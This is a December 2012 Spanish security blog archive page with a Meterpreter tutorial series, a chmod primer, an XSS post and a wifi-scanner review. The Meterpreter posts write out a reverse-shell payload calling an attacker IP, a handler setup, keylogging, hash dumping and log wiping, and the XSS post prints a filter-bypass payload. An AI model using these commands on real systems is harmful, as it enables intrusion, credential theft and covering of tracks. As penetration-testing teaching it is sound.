miércoles, 26 de diciembre de 2012

Coqueteando con Metasploit: Meterpreter III


  Tercera entrega relacionada con meterpreter en la que empezaremos a conocer comandos que dan más juego que los que hemos visto en anteriores entregas. Desde keyloggers, hasta deshabilitar el teclado de la víctima pasando por hacer capturas de pantalla de su pc.

 Partimos de tener ya una sesión de meterpreter en el equipo de la víctima, vamos a conocer las distintas posibilidades que tenemos :D


Utilizando el keylogger

 Existen unas herramientas conocidas como keyloggers que permiten detectar las pulsaciones del teclado del ordenador. Meterpreter tiene el suyo propio y lo utilizaremos con keyscan.
  Existen tres comandos con keyscan, uno para iniciar, otro para finalizar y otro para volcar en pantalla la información capturada.

[+] Iniciar la captura:
keyscan_start

[+] Volcar la información capturada:
keyscan_dump

[+] Cerrar el keylogger:
keyscan_stop


Ver la pantalla de la víctima

  Antes hemos leer lo que esta escribiendo el atacado, pero, ¿existe la posibilidad de ver lo que está viendo en la pantalla?
  Screenshot es la utilidad que ofrece meterpreter para hacer capturas de pantalla del ordenador víctima y la forma de utilizarlo es muy simple:
screenshot

 acto seguido veremos la imagen de la pantalla:



Desactivar el ratón y el teclado

  Si por algún motivo queremos impedir que el usuario del sistema comprometido utilice el ratón y/o el teclado, existe uictl que permite estas funcionalidades.
  En el caso del teclado, para deshabilitarlo basta con:
uictl disable keyboard
  para volver a habilitarlo bastará con:
 uictl enable keyboard

  En lo que respecta al ratón, para desactivarlo es tan simple como:
uictl disable mouse
  con lo que para activarlo otra vez sería:
uictl enable mouse



Obteniendo las claves hash

  Una vez se ha comprometido el equipo con Metasploit y se posee una sesión de meterpreter, es posible obtener los hash de las claves de los usuarios del sistema contenidos en el archivo SAM (sistema operativo Windows).
La forma de obtener estas claves (en formato hash) es con hashdump:
hasdump


Viendo los privilegios

  Para ver los privilegios con que contamos en el equipo comprometido podemos utilizar getprivs:
getprivs


Limpiar el rastro 

  Por último, antes de "desaparecer" de la maquina atacada conviene limpiar nuestro rastro, para ello contamos con clearev:
clearev



  Con esto concluyo la entrada, en las próximas conoceremos las interesantes posibilidades que nos ofrece el comando run de meterpreter, nos leemos en breve ;)


5 0verl0ad Labs: diciembre 2012   Tercera entrega relacionada con meterpreter en la que empezaremos a conocer comandos que dan más ...

martes, 18 de diciembre de 2012

Coqueteando con Metasploit: Meterpreter II


  En la pasada entrada de Metasploit vimos como llegar a obtener una consola de meterpreter en un sistema atacado, viendo ademas la forma en que era posible manejar sus sesiones. En la que nos ocupa veremos los comandos básicos a utilizar una vez se ha accedido ya al sistema comprometido.

Trabajando con procesos

  Meterpreter pone en la mano del atacante la posibilidad de cambiar su PID, es decir migrar a otro identificador de proceso distinto. Esta tarea la realiza gracias al comando migrate:
migrate <numero de proceso>

  Pero, ¿cómo sabemos a que proceso migrar o como podemos ver los procesos que están en ejecución? la respuesta nos la da la orden ps que nos mostrará el listado de proceso:
ps

 Si queremos comprobar el identificador de proceso actual de meterpreter (por ejemplo si acabamos de migrar a otro proceso y queremos comprobar que lo ha realizado correctamente) existe la orden getpid:
getpid



Directorios y ficheros

  Para ver el directorio actual en el que nos encontramos (en la máquina de la víctima) tenemos getwd:
getwd

También es posible listar los elementos existentes en el directorio mediante el comando ls:
ls

  Meterpreter permite editar ficheros del equipo de la víctima mediante el gran editor vi, para ello utilizaremos edit:
edit <nombre del fichero>



 Si en cambio solo queremos ver el contenido de fichero cat es nuestra elección:
cat <nombre del fichero>

  En ocasiones es muy probable que el atacante quiera descargar información de la víctima o subir algún archivo al sistema de ésta, para ello existen las ordenes download y upload respectivamente que permiten realizar estas tareas:
download <nombre del fichero>


upload <nombre del fichero>



Información de sistema

  Para ver el usuario con el que hemos accedido al equipo, podemos utilizar getuid:
getuid

  Si en cambio queremos conocer información del sistema que hemos "invadido" (como atacantes), podemos utilizar sysinfo:
sysinfo



Redes

  Meterpreter permite obtener información de la tarjeta de red de la víctima como si nos encontrásemos en ese mismo ordenador, para ello existen varios comandos que veremos a continuación.

  Para ver las tarjetas de red del equipo podemos utilizar ipconfig:
ipconfig

  Para cerrar existen otros comandos muy útiles como arp y route:
arp

route 



 Antes de cerrar la entrada quiero compartir una pequeña reflexión sobre su contenido, ya que entiendo que es muy esquemático, casi a modo de manual, pero entended que es necesario conocer las ordenes básicas antes de empezar a "jugar" como haremos en los siguientes  capítulos ;)

Nos leemos en breve

5 0verl0ad Labs: diciembre 2012   En la pasada entrada de Metasploit vimos como llegar a obtener una consola de meterpreter en un s...

jueves, 13 de diciembre de 2012

Los "oscuros números" de chmod




  Después de haber llamado vuestra atención con este título tan peculiar vuelvo a escribir para hablar de los números que acompañan al comando chmod encargados de asignar los permisos de usuario.
  Para los que no entendáis mi explicación aquí tenéis un ejemplo:
chmod 777 miFichero
  Este número 777 es el que voy a explicar de donde procede y como calcularlo en función de los permisos que queramos asignar.

  El número está compuesto por tres cifras XXX, la primera hace referencia a los permisos del usuario, la segunda a  los del grupo y la tercera cifra a los permisos de otros.
  Cada una puede tomar valores entre 0 y 7 otorgando distintos permisos en función  del número escogido.
0 = Ningún permiso
1 = Ejecución
2 = Escritura
3 = Escritura y ejecución
4 = Lectura
5 = Lectura y ejecución
6 = Lectura y escritura
7 = Lectura, escritura y ejecución
Pero, ¿cómo los calculamos(cada cifra se calcula por separado)?
r = lectura 
w = escritura
x = ejecución
r     w     x
---------------
0     0     0                 =>  0
0     0     1                 =>  1
0     1     0                 =>  2
0     1     1                 =>  3
1     0     0                 =>  4
1     0     1                 =>  5
1     1     0                 =>  6
1     1     1                 =>  7


Veamos algunos ejemplos para grabar con fuego que complementen lo explicado:
  • Otorgarle al fichero "miFichero" permisos de lectura y escritura para el usuario, le ejecución para el grupo y ninguno para otros usuarios.
    chmod 610 miFichero 
  • Otorgarle al fichero "miFichero" permisos de lectura y escritura para el usuario, para el grupo de lectura y para otros de lectura también.
    chmod 644 miFichero
  • Otorgarle al fichero "miFIchero" todos los permisos al usuario y ninguno al resto, tango al grupo como a otros.
    chmod 700 miFichero
Con estos ejemplos concluyo la entrada, nos leemos en breve :D.

NOTA: Leed los comentarios del post que hay información muy interesante que complementa el contenido de éste :D.

5 0verl0ad Labs: diciembre 2012   Después de haber llamado vuestra atención con este título tan peculiar vuelvo a escribir para...

lunes, 10 de diciembre de 2012

Coqueteando con Metasploit: Meterpreter I


  Siguiendo con la saga de Metasploit, hoy iniciaremos una nueva subsaga relacionada con Meterpreter.

Pero, ¿qué es Meterpreter?  Según la web de metasploit unleashed y de forma muy resumida es:
Meterpreter is an advanced, dynamically extensible payload 
 Para mas información recomiendo muy encarecidamente que repaséis la web que he comentado antes ;) .

  Ésta herramienta permite, una vez se ha obtenido acceso al equipo de la víctima, realizar muy diversas acciones como son descargar ficheros, escalar privilegios, utilizar un keylogger o activar la webcam entre otras muchas posibilidades que veremos a lo largo de las entradas que compondrán esta subsaga.


  Lo primero que haremos será crear un ejecutable con un payload de meterpreter contenido como se ha hecho en otras ocasiones, para ello utilizaremos msfpayload:
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.108 LPORT=31337 X > payload.exe
  Los parámetros importantes de la anterior orden y que se utilizarán posteriormente en el handler (veremos después que es esto) son los siguientes:
     [-] windows/shell_reverse_tcp  => El payload escogido.
     [-] LHOST=192.168.0.108  => La IP del equipo donde está ejecutándose Metasploit.
     [-] LPORT=31337  => El puerto en el que Metasploit está escuchando peticiones.


Lo que hará el binario creado es, una vez sea ejecutado, intentara conectar en la IP y puertos especificados y ofrecernos una shell inversa.

  NOTA: En esta entrada supondremos que la víctima ejecuta el archivo payload.exe, la forma de que ésta lo haga o de evadir los antivirus no la trataremos pues ya hemos hablado de ello en otras ocasiones.


  El siguiente paso es poner a Metasploit escuchando posibles conexiones de la víctima, para ello lo lanzamos con el clásico:
msfconsole

y preparamos el handler, su funcionalidad es esperar conexiones del payload especifico, en el puerto e IP especificados:
use multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.0.108set LPORT 31337exploit
 Donde:
     [-] use multi/handler => Seleccionamos el handler.
     [-] set PAYLOAD windows/meterpreter/reverse_tcp => El payload escogido anteriormente en la creación del binario que enviamos a la víctima.
     [-] set LHOST 192.168.0.108 => Nuestra IP donde está el handler escuchando, es el mismo que hemos especificado anteriormente en la creación del ejecutable enviado a la víctima.
     [-] set LPORT 31337 => El puerto en el que Metasploit estará escuchando peticiones. Debe ser el mismo que el escogido en el ejecutable enviado a la víctima.
     [-] exploit => Lanza el handler.


  Una vez lanzado esperará a que la víctima ejecute el binario (payload.exe) para que éste establezca conexión con nosotros. Una vez lo haga obtendremos una shell de meterpreter (el prompt cambiará).


  Puesto que nos encontramos en un post de introducción veremos los comandos básicos, en próximas ediciones veremos cosas mas interesantes, pero primero es necesario conocer estas ordenes pues nos serán de utilidad en cosas más avanzadas.


Sesiones en Metasploit

 En Metasploit es posible tener varias sesiones de meterpreter en ejecución simultáneamente, para listar todas las existentes podemos utilizar:
sessions -l
 Esto nos mostrará todas las que se encuentran abiertas ordenadas en función de un Id, para recuperar una en concreto basta con:
sessions -i <Id de la sesión>

  Una vez hayamos acabado de trabajar con una sesión podemos cerrarla, para realizar esta tarea hay dos posibilidades:
Si estamos dentro de una sesión:
        quit
Sino estamos dentro de ninguna sesión:
        sessions -k <Id de la sesión>

  Existen más posibles parámetros para el comando sessions, basta usar el flag -h para verlos.




 Enviar una sesión a segundo plano

  Por determinados motivos puede ser necesario mandar la sesión actual de meterpreter a un segundo plano para realizar otras tareas con Metasploit, para esto existe el comando:
background



Ayuda 

  Tanto si estamos en Metasploit como dentro de una sesión meterpreter existe una orden que nos mostrará los posibles comandos a ejecutar:
?


  Con todo esto cerramos esta primera entrada a modo de introducción, en las siguientes ya iremos "escavando" en las posibilidades que ofrece meterpreter.

Nos leemos en breve ;)

5 0verl0ad Labs: diciembre 2012   Siguiendo con la saga de Metasploit, hoy iniciaremos una nueva subsaga relacionada con  Meterpret...

jueves, 6 de diciembre de 2012

Htmlentities no es la panacea

Saludos.


    Echando un ojo a los posts de Flu-Project (donde @Aetsu colabora todas las semanas) vi un post donde daban algunas directivas para prevenir XSS en distintas plataformas, cosa que está muy bien, ya que muchas veces nos centramos en el ataque y nos olvidamos de la mitigación. En general el post está muy bien y es recomendable, porque recomiendan varias formas, y no se quedan sólo con el htmlentities.


     Al ver esepost, empecé a indagar un poco, y me di cuenta que en muchos sitios recomiendan en uso de htmlentities para evitar desgracias, como si fuese la panacea. Te dicen que haces un htmlentities($_GET['var']) y ¡puf!, ya está todo resuelto. Y no es oro todo lo que reluce.


               Si nos vamos a la documentación de PHP podremos ver que "Por defecto es ENT_COMPAT | ENT_HTML401.", lo que significa que:



ENT_COMPAT Convertirá las comillas dobles y deja solo las comillas sencillas.



   Osea, que si hacemos símplemente htmlentities($variable), vamos a permitir que las comillas simples continúen ahí, lo que probablemente sea un impedimento para mucha gente, pero sigue siendo vulnerable. Por ejemplo:

<?php
$var = htmlentities($_GET['test']);
echo "<input type='text' value='$var' />";
?>
  En primera instancia parece que estamos evitando que nos roben las galletas, hacemos un htmlentities y todos felices... ¿o no? Al poder meter comillas simples, podemos romper el value='__' y meter algún evento con el que ejecutar JavaScript:

foo' onblur=alert(/0verl0ad/) autofocus='autofocus

    Byt3z
5 0verl0ad Labs: diciembre 2012 Saludos.     Echando un ojo a los posts de Flu-Project (donde @Aetsu colabora todas las semanas) vi un post donde daban algunas directiv...

miércoles, 5 de diciembre de 2012

Buscando redes con inSSIDer -- Windows && Android

  Hoy conoceremos inSSIDer, una aplicación para obtener información de redes inalámbricas bajo Windows y que conocí gracias al señor @a5rojo un día que íbamos a realizar cierta POC... ... ...

  Dicha aplicación nos muestra datos sobre las redes que tenemos alrededor como puede ser su canal, su cifrado, intensidad y un largo etc todo esto de forma muy bonita y con solo pulsar un simple botón.

 Para descargarla basta con dirigirnos a la web de los desarrolladores:
http://files.metageek.net/downloads/inSSIDer-Installer-2.1.6.1394.msi

Su instalación es rápida y en breve estaremos frente a su intuitiva interfaz:


  En la parte superior veremos las redes junto con su ESSID, BSSID, intensidad, cifrado... y en la parte inferior (pestaña Time Graph) en forma de gráfica las variaciones de señal sobre los distintos puntos de acceso.

  Las dos pestañas siguientes permiten ver las redes que se encuentran en el espectro de los 2.4 GHz y 5 GHz respectivamente mostrando una gráfica en función de la intensidad con que son recibidas:


  Además la aplicación ofrece opciones de filtrado y clasificación de las redes en función de la información que se desee mostrar por pantalla, así como también, opciones para interactuar con el GPS (que no dispongo y no he podido probar :D ).


  Pero aquí no acaba todo, pues existe una versión para MAC OS X (que no voy a analizar) y para Android, ambas gratuitas.

  La del sistema operativo del robot verde la podemos descargar desde Google Play:


https://play.google.com/store/apps/details?id=net.metageek

 Su interfaz es distinta respecto a la versión de escritorio, aunque la información que nos muestra es similar. Desde ESSID, BSSID, canal, intensidad...

  En la primera de sus pestañas (Networks) vemos información sobre las redes que hay en su alcance y si estamos conectados a una una pequeña gráfica sobre su señal:


  Las sucesivas pestañas muestran lo saturados que están los canales (channels) e información sobre los espectros de 2.4 GHz y 5GHz de forma similar que su versión mayor y de forma muy resultona:




 En resumen, una aplicación interesante, fácil de utilizar y gratuita que permite ver que se cuece a nuestro alrededor.

Nos leemos en breve (si tengo tiempo) :D

5 0verl0ad Labs: diciembre 2012   Hoy conoceremos  inSSIDer , una aplicación para obtener información de redes inalámbricas bajo  Wi...
< >